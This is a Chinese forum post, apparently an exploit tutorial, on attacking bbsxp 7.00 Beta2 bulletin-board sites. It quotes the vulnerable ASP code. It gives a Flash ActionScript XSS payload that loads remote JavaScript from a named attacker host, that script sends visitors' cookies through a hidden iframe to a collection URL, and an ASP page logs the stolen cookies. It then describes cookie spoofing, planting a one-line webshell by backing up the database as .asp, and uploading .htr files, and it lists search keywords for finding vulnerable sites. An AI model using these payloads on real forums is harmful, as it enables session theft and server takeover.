bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子)
bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子呵呵 谢谢了啊!)<BR><BR>一.COOKIE欺骗轻取前台<BR><BR>漏洞文件:setup.asp<BR><BR>相关代码:<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>if IsNumeric(Request.Cookies("UserID")) then<BR>sql="select * from where ID="&Request.Cookies("UserID")&""<BR>Set Rs=Conn.Execute(SQL)<BR><BR>if Rs.eof then<BR>CleanCookies()<BR>Response.Write "<script>window.setTimeout('window.location.reload();',2000)</script>"<BR>Response.End<BR>end if<BR>if Request.Cookies("Userpass") <> Rs("Userpass") then<BR>CleanCookies()<BR>Response.Write "<script>window.setTimeout('window.location.reload();',2000)</script>"<BR>Response.End<BR>end if<BR>CookieUserID=Rs("ID")<BR>CookieUserName=Rs("UserName")<BR>NewMessage=Rs("NewMessage")<BR>UserRoleID=Rs("UserRoleID")<BR>Rs.Close<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>从上边的程序段中,我们可以看出,程序首先取出COOKIE中的UERID进行SQL的查询,如果成功,会将取<BR><BR>得的COOKIE中的USERPASS和数据库中的userpass(为了清楚,我这些小写)进行比,如果相同那么将数据<BR><BR>库中的id赋给cookieuserid,将数据库中的username赋给USERNAME。显然,这个程序存在COOKIE欺骗漏洞。<BR><BR>二。既然我们知道了其中的漏洞那么我们就来利用吧。首先我们把目标分成三个步骤:<BR><BR>1.cookie的获得<BR><BR>2.cookie的传递<BR><BR>3.cookie的欺骗<BR><BR>对于cookie的获得,我们当然马上想到了跨站。那么我们来看下发贴这里的代码吧。<BR><BR>文件:newtopic.asp<BR><BR>相关代码:<BR><BR><!-- #include file="Setup.asp" --><BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>Content=ContentEncode(Request.Form("Content"))<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>程序用一个自定义的函数来过滤我们发表的代码。这里我们也了解到这个函数必定在setup.asp中。<BR><BR>文件:setup.asp<BR><BR>相关代码:<BR><BR>==========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>function ContentEncode(fString)<BR>fString=Replace(fString,vbCrlf, "")<BR>fString=Replace(fString,"\","\")<BR>fString=Replace(fString,"'","'")<BR>fString=Replace(fString,"<A href=","<A target=_blank href=") '点链接打开新窗口<BR>if SiteSettings("BannedHtmlLabel")<>"" then fString=ReplaceText(fString,"<(\/|)("&SiteSettings("BannedHtmlLabel")&")", "<$1$2")<BR>if SiteSettings("BannedHtmlEvent")<>"" then fString=ReplaceText(fString,"<(.[^>]*)("&SiteSettings("BannedHtmlEvent")&")", "<$1$2")<BR>if SiteSettings("BannedText")<>"" then<BR>filtrate=split(SiteSettings("BannedText"),"|")<BR>for i = 0 to ubound(filtrate)<BR>fString=ReplaceText(fString,""&filtrate(i)&"",string(len(filtrate(i)),"*"))<BR>next<BR>end if<BR>contentEncode=fString<BR>end function<BR><BR>=========================================================================================<BR><BR>==============================================================================省略无关代码<BR><BR>在这里程序限制了 我们跨站最需要的两个字符 < > 分别过滤成 < > 。所以一般的跨站对此根本<BR><BR>发挥不了任何作用。还有就是大家都知道跨站的出现必须出现如下的过程才能成功:<BR><BR>恶意用户的Html输入————>web程序————>进入数据库————>web程序————>用户浏览器<BR><BR>但是程序把我们输入的代码进入处理之后,我们输的代码会源封不动的显示,说明我们的HTML并没有执行。<BR><BR>这里我们必须借住flash的威力了。<BR><BR>二。跨站可别忘了flash<BR><BR>一般来说大家在进行Flash跨站攻击时都是自己做一个Flash动画<BR><BR>并在第一帧中加入用于跳转到其他URL的AtionScript脚本函数如下: <BR><BR>getURL("javascript:window.open('http://用于收集Cookie的网页地址?'+document cookie)","_self");<BR><BR>我们先分析一下上面的AtionScript脚本<BR><BR>它使用AtionScript脚本函数"getURL"跳转到一个使用javascript协议的URL(javascript协议后面就是我们非常熟悉的javascript脚本代码)<BR><BR>在javascript中使用documents.cookie得到Cookie,并把Cookie和一个用于收集Cookie的网页地址连成一个http协议的URL地址<BR><BR>最后使用window.open打开合成的URL地址<BR><BR>从而把Cookie用GET方式发送到用于收集Cookie的网页,并记录下来。 <BR><BR>通过上面的分析我们进一步了解那个弹出的IE窗口是由于javascript协议中的代码window.open所生成的<BR><BR>相信大家都知道window.open的第二个参数用来指定打开的窗口的名字<BR><BR>其通用名称有<BR><BR>"_media (IE6.0 在浏览器左边的媒体面板内打开)"<BR><BR>"_blank (在新窗口中打开)"<BR><BR>"_parent (在当前框架的父框架内打开。假如当前框架无父框架,此参数值等同于 _self)"<BR><BR>"_search (IE5.0 在浏览器左边的搜索面板内打开)"<BR><BR>"_self(在当前窗口中打开,覆盖当前文档)"<BR><BR>"_top (在所有框架之外的最顶层窗口中打开 。假如当前窗口无框架结构,此参数值等同于 _self )"等几种<BR><BR>如果我们以"_search"来打开窗口,不是就没有了弹出的IE窗口了吗?AtionScript脚本改为: <BR><BR>getURL("javascript:window.open('http://用于收集Cookie的网页地址?'+document cookie,'_search')","_self");<BR><BR>当然,这样做会打开搜索面板,也会引起怀疑,但却可以躲过那些关闭弹出窗口软件的追杀!<BR><BR>冰狐狼子写的一篇"打造一个完美的IE网页木马"文章中有下面这样一段代码: <BR><BR>jsurl="http://www.godog.y365.com/wodemuma/icyfox.js".replace(/\//g,'//'); <BR><BR>window.open("file:javascript:document.all.tags('SCRIPT').src='"+jsurl+"';eval();","icyfoxlovelace"); <BR><BR>使用了javascript协议把自己网站上的一个js代码文件插入到了本地文件中,同样的道理我们也可以用它把一个js代码文件插入到进行跨站攻击的论坛网页中<BR><BR>相应的AtionScript脚本改为: <BR><BR>getURL("javascript:document.all.tags('SCRIPT').src='<A href="http://www.hackwolf.cn/xss/1.js" target=_blank><FONT color=#333366>http://www.hackwolf.cn/xss/1.js</FONT></A>';eval();","_self");<BR><BR>stop();<BR><BR>其中1.js得内容如下: <BR><BR>cookieurl="http://用于收集Cookie的网页地址?cookie="+escape(documents.cookie); <BR><BR>/*这里使用了escape()对cookie编码,用来防止cookie中的一些特殊字符*/ <BR><BR>document.body.insertAdjacentHTML('beforeEnd','<iframe WIDTH=0px HEIGHT=0px style="display:none;" src="'+cookieurl+'"><\/iframe>'); <BR><BR>/*这里使用了insertAdjacentHTML在body的最后插入了一个不可见的框架*/ <BR><BR>关于接受COOKIE的文件的编写:<BR><BR><%<BR>dim fso,file,str<BR>str=unescape(request.Servervariables("QUERY_STRING"))<BR>Const ForReading = 1, ForWriting = 2, ForAppending = 8 <BR>Set fso = Server.createObject("Scripting.FileSystemObject") <BR>path = server.mappath("cookies.txt") <BR>set file=fso.opentextfile(path, ForAppending, TRUE)<BR>file.write("盗得的cookie中的Eremite,UserID,UserPass分别是cookie欺骗要用到的三个参数。黑狼技术小组友情检测by品透泡菜:") <BR>file.write(str) <BR>file.write vbCrLf<BR>file.close<BR>set file = nothing <BR>set fso = nothing<BR>%><BR><BR>这里主要是利用了可以在一个网页中引入不同域中的javascript代码文档,而且所引入的javascript代码文档会和本网页融为一体的特点! <BR><BR>因为在COOKIE中存在了一些特殊字符,所以上面代码我用了escape()对cookie编码,在接受到cookie后请注意用unescape()来解码! <BR><BR>现在我们把FLASH嵌在发贴子的地方吧。这样管理员看了我们的贴,他的COOKIE就会乖乖的出现在我们设定的地方。<BR><BR>三.COOKIE欺骗显神通<BR><BR>在我们得到COOKIE之后就是进行欺骗,过程很简单大家看我操作就行了。<BR><BR>四。前台有路你不走,后台无门你也闯。<BR><BR>后台验证采用的是session验证,这样的话,我们利用COOKIE欺骗是进不去的。原因大家也知道。<BR><BR>开始我也不知道怎么办,但是看了TTFCT的文章之后,我也不敢苟同。<BR><BR>首先前后台的存帐号密码的表是不同的,因此如果照他的话说我们还得再利用跨站在盗一次COOKIE。<BR><BR>但是有别于刚刚盗的QQ我们必须处理好生成的文件名。<BR><BR>在这里我还有一个问题。<BR><BR>第一。一般人设了帐号密码前后台基本都是一样的,所以当我们得到前台的COOKIE时就可以直接去破。<BR><BR>第二。照TTFCT所说的,当管理在审核的时候,他为了给一个理由对你发的帖子删不删。<BR><BR>这样当管理员点了你的帖子 这样就能得到后台密码了。但是,当管理员去浏览你的帖子,那必定是在前台,他一进入前台。你能所能盗的COOKIE还是前台的<BR><BR>根本弄不到后台的。因此,要进后台惟一就是破前台的COOKIE看运气好坏,如果运气好的话一样不好的话,自认倒霉。<BR><BR>四。运气决定一切<BR><BR>如果你有幸进入后台,那么恭喜你了。进了后台我们就能做很多事了。<BR><BR>首先看数据库这块:但是很不幸,下面的代码就告诉你了,数据库的路径是系统指定的,我们改不了,恢复也一样。所以这条路被堵死。<BR><BR><table cellspacing="1" cellpadding="5" width="70%" border="0" class="a2" align="center"><BR><tr><BR><td class=a1 align=center colspan=2>备份数据库</td><BR></tr><BR><tr><BR><td class=a3 align=center colspan=2><BR><table cellpadding="0" cellspacing="0" width="90%"><BR><tr><BR><td width="30%">数据库路径: </td><BR><td width="70%">database/bbsxp7.mdb</td><BR></tr><BR><tr><BR><td width="30%">备份的数据库路径:</td><BR><td width="70%"><input size="30" value="database/bbsxp7(2006-10-2).mdb" name="BakDbPath"></td><BR></tr><BR><tr><BR><td width="100%" align="center" colspan="2"><BR><input type="submit" value=" 备 份 "><br></td><BR></tr><BR></table><BR></td></tr></table></form><BR><table cellspacing="1" cellpadding="5" width="70%" border="0" class="a2" align="center"><BR><tr><BR><td class=a1 align=center colspan=2>恢复数据库</td><BR></tr><BR><tr><BR><td class=a3 align=center colspan=2><BR><table cellpadding="0" cellspacing="0" width="90%"><BR><tr><BR><td width="30%">备份的数据库路径: </td><BR><td width="70%"><BR><input size="30" value="database/bbsxp7(2006-10-2).mdb" name="BakDbPath"></td><BR></tr><BR><tr><BR><td width="30%">数据库路径:</td><BR><td width="70%">database/bbsxp7.mdb</td><BR></tr><BR><tr><BR><td width="100%" align="center" colspan="2"><BR><input type="submit" value=" 恢 复 "><br></td><BR></tr><BR></table></td></tr></table><BR></form><BR><BR>再次,我们可以这么利用,首先在公告这里写一个一句话进数据库,然后把数据库备份成*.asp格式这样就能突破了。(数据库没有做防下载处理)<BR><BR>还有办法就是在添加类型加一个htr,大家都知道 htr也是通过asp.dll进行解析的。那为什么不能添加别的类型呢,因为程序有限制,限制了asp asa cdx cer<BR><BR>但是没有限制这个所以我们就可以传它了。其实如果代码写成只允许哪些类型的话就不会出现这样的问题了。<BR><BR>长长的分析说完了 教程也写完了 程序的关键字很简单:powered by bbsxp 或powered bbsxp 7.00 Beta2 前面的版本均存在这里所提到的漏洞。re:bbsxp 7.00 Beta2 漏洞利用(请海哥进来指导下最好做个例子)
<P>建立了一个管理员权限的帐户!</P><P>不知道对不对!</P>
页:
[1]